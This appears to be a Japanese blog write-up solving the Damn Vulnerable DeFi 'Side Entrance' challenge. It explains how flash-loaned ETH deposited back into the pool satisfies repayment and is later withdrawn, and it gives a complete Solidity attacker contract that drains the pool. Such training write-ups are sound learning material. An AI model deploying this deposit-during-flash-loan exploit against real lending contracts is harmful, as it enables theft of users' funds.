banner
zach

zach

github
twitter
medium

ダム・ヴァルナラブル・ディファイ | サイドエントランス

#チャレンジ#4 - サイドエントランス

Solidity と Foundry のシステム的な学習のために、私は Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再度書き直しました。交流や共同開発を歓迎します〜🎉

コントラクト#

  • SideEntranceLenderPool:deposit と withdraw メソッドを提供し、フラッシュローンをサポートします。

スクリプト#

  • SideEntranceLenderPool コントラクトのデプロイ
  • プールに ETH 数 ETHER_IN_POOL をデポジット
  • 攻撃スクリプトを実行
  • プールの残高が 0 であり、プレイヤーの残高が ETHER_IN_POOL よりも大きいことを期待します。

解答#

この問題の攻略ポイントは、deposit+withdraw です。まず、フラッシュローンを使用して ETH を取得し、deposit を呼び出して証明書を取得し、フラッシュローンを終了した後に withdraw を使用して ETH を引き出すことができます。全体のフローチャートは次のようになります:

image

  • プールの flashLoan メソッドが呼び出されると、IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();が呼び出されます。したがって、攻撃コントラクトではexecuteメソッドを実装する必要があります。これにより、deposit が行われ、フラッシュローンの返済が完了し、預金証明書が追加で記録されます。
  • プレイヤーは、withdraw メソッドを呼び出してプールから対応する ETH を引き出し、すべてをプレイヤーに移動させることで攻撃を完了します。

以下はコントラクトのコードです:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/side-entrance/SideEntranceLenderPool.sol";

contract Attacker {

    SideEntranceLenderPool pool;
    address owner;
    constructor(address _pool){
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }
    
    receive() external payable {
        payable(owner).transfer(msg.value);
    }

    function attack(uint256 amount) external payable{
        pool.flashLoan(amount);
    }

    function execute() external payable{
        uint256 value = msg.value;
        // deposit
        pool.deposit{value: value}();
    }

    function withdraw() external{
        pool.withdraw();
    }
}
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。